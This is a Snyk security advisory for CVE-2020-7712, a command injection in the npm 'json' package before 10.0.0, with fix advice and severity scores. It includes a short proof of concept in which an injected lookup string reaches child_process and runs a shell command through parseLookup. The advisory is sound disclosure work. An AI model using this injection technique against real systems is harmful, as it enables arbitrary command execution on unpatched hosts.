Command Injection

Affecting json package, versions **<10.0.0**

INTRODUCED: 6 AUG 2020 CVE-2020-7712 CWE-78 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `json` to version 10.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands using the `parseLookup` function.

PoC

```
const json = require('json');


res = json.parseLookup('{[this.constructor.constructor("return process")
().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res);
```

References

- GitHub Issue
- GitHub PR

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Privileges Required	HIGH
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 7.2 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-JSON-597481
Published	30 Aug 2020
Disclosed	6 Aug 2020
Credit	po6ix

Report a new vulnerability | Found a mistake?

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.